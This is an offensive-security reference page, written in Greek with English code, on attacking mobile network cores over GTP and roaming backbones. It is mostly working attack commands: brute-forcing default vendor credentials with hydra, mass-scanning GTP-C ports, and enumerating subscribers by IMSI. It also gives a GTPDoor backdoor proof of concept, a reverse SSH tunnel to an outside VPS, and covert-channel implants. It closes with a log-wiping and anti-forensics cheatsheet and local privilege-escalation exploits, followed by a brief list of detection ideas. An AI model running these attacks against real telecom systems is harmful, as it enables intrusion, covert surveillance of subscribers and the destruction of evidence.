8.9 KiB
Raw Blame History

Telecom Network Exploitation (GTP / Roaming Environments)

{{#include ../../banners/hacktricks-training.md}}

Note

Οι πρωτόκολλοι κινητής πυρήνας (GPRS Tunnelling Protocol GTP) συχνά διασχίζουν ημι-εμπιστευτικά GRX/IPX roaming backbones. Επειδή διακινούνται μέσω απλού UDP με σχεδόν καμία αυθεντικοποίηση, οποιοδήποτε σημείο εισόδου μέσα σε ένα τηλεπικοινωνιακό περίγραμμα μπορεί συνήθως να φτάσει απευθείας στους πυρήνες σήμανσης. Οι παρακάτω σημειώσεις συγκεντρώνουν επιθετικές τεχνικές που παρατηρήθηκαν στην πράξη κατά SGSN/GGSN, PGW/SGW και άλλους κόμβους EPC.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Ένα εκπληκτικά μεγάλο σύνολο στοιχείων δικτύου προμηθευτών έρχεται με σκληρά κωδικοποιημένους χρήστες SSH/Telnet όπως root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Μια αφιερωμένη λίστα λέξεων αυξάνει δραματικά την επιτυχία της βίαιης επίθεσης:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Αν η συσκευή εκθέτει μόνο ένα VRF διαχείρισης, κάντε pivot μέσω ενός jump host πρώτα (δείτε την ενότητα «SGSN Emu Tunnel» παρακάτω).

1.2 Ανακάλυψη Φιλοξενουμένων μέσα στο GRX/IPX

Οι περισσότεροι πάροχοι GRX εξακολουθούν να επιτρέπουν ICMP echo μέσω του backbone. Συνδυάστε το masscan με τους ενσωματωμένους UDP probes gtpv1 για να χαρτογραφήσετε γρήγορα τους GTP-C listeners:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Απαρίθμηση Συνδρομητών cordscan

Το παρακάτω εργαλείο Go δημιουργεί πακέτα GTP-C Create PDP Context Request και καταγράφει τις απαντήσεις. Κάθε απάντηση αποκαλύπτει τον τρέχοντα SGSN / MME που εξυπηρετεί την ερωτηθείσα IMSI και, μερικές φορές, το επισκεπτόμενο PLMN του συνδρομητή.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Κύριες σημαίες:

  • --imsi Στοχευόμενος συνδρομητής IMSI
  • --oper Οικιακός / HNI (MCC+MNC)
  • -w Γράψτε ακατέργαστα πακέτα σε pcap

Σημαντικές σταθερές μέσα στο δυαδικό αρχείο μπορούν να διορθωθούν για να διευρύνουν τις σάρωσεις:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Εκτέλεση Κώδικα μέσω GTP GTPDoor

GTPDoor είναι μια μικρή υπηρεσία ELF που δεσμεύει το UDP 2123 και αναλύει κάθε εισερχόμενο πακέτο GTP-C. Όταν το payload ξεκινά με μια προ-μοιρασμένη ετικέτα, το υπόλοιπο αποκρυπτογραφείται (AES-128-CBC) και εκτελείται μέσω του /bin/sh -c. Η stdout/stderr εξάγονται μέσα σε μηνύματα Echo Response έτσι ώστε να μην δημιουργηθεί ποτέ εξωτερική συνεδρία.

Ελάχιστο πακέτο PoC (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Ανίχνευση:

  • οποιοσδήποτε κόμβος στέλνει μη ισορροπημένα Echo Requests σε IP SGSN
  • η σημαία έκδοσης GTP ρυθμισμένη σε 1 ενώ ο τύπος μηνύματος = 1 (Echo) απόκλιση από την προδιαγραφή

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN παρέχει έναν εξομοιωτή SGSN ικανό να δημιουργήσει ένα PDP context προς έναν πραγματικό GGSN/PGW. Μόλις διαπραγματευτεί, το Linux λαμβάνει μια νέα διεπαφή tun0 προσβάσιμη από τον περιπλανώμενο ομότιμο.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Με σωστό hair-pinning του firewall, αυτό το τούνελ παρακάμπτει τα VLAN που χρησιμοποιούνται μόνο για σήματα και σας προσγειώνει απευθείας στο data plane.

4.2 SSH Reverse Tunnel over Port 53

Το DNS είναι σχεδόν πάντα ανοιχτό σε υποδομές roaming. Εκθέστε μια εσωτερική υπηρεσία SSH στο VPS σας που ακούει στο :53 και επιστρέψτε αργότερα από το σπίτι:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Ελέγξτε ότι το GatewayPorts yes είναι ενεργοποιημένο στον VPS.

5. Κρυφά Κανάλια

Κανάλι Μεταφορά Αποκωδικοποίηση Σημειώσεις
ICMP EchoBackdoor ICMP Echo Req/Rep 4-byte key + 14-byte chunks (XOR) καθαρός παθητικός ακροατής, χωρίς εξερχόμενη κίνηση
DNS NoDepDNS UDP 53 XOR (key = funnyAndHappy) κωδικοποιημένο σε A-record octets παρακολουθεί για *.nodep υποτομέα
GTP GTPDoor UDP 2123 AES-128-CBC blob σε ιδιωτικό IE αναμειγνύεται με νόμιμο GTP-C θόρυβο

Όλοι οι εμφυτευμένοι υλοποιούν watchdogs που timestomp τα δυαδικά τους και επανεκκινούν αν καταρρεύσουν.

6. Cheatsheet Αποφυγής Άμυνας

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Κλιμάκωση Δικαιωμάτων σε Κληρονομημένα NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Συμβουλή καθαρισμού:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Εργαλειοθήκη

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS προσαρμοσμένα εργαλεία που περιγράφονται σε προηγούμενες ενότητες.
  • FScan : εσωτερικές σάρωσεις TCP (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS κακόβουλο WPAD
  • Microsocks + ProxyChains : ελαφρύ SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / σύνδεση πόρων

Ιδέες Ανίχνευσης

  1. Οποιαδήποτε συσκευή εκτός από SGSN/GGSN που δημιουργεί αιτήματα Δημιουργίας PDP Context.
  2. Μη τυπικές θύρες (53, 80, 443) που λαμβάνουν SSH handshakes από εσωτερικές IP.
  3. Συχνά Echo Requests χωρίς αντίστοιχες Echo Responses μπορεί να υποδηλώνει GTPDoor beacons.
  4. Υψηλός ρυθμός κυκλοφορίας ICMP echo-reply με μεγάλα, μη μηδενικά πεδία αναγνωριστικού/ακολουθίας.

Αναφορές

{{#include ../../banners/hacktricks-training.md}}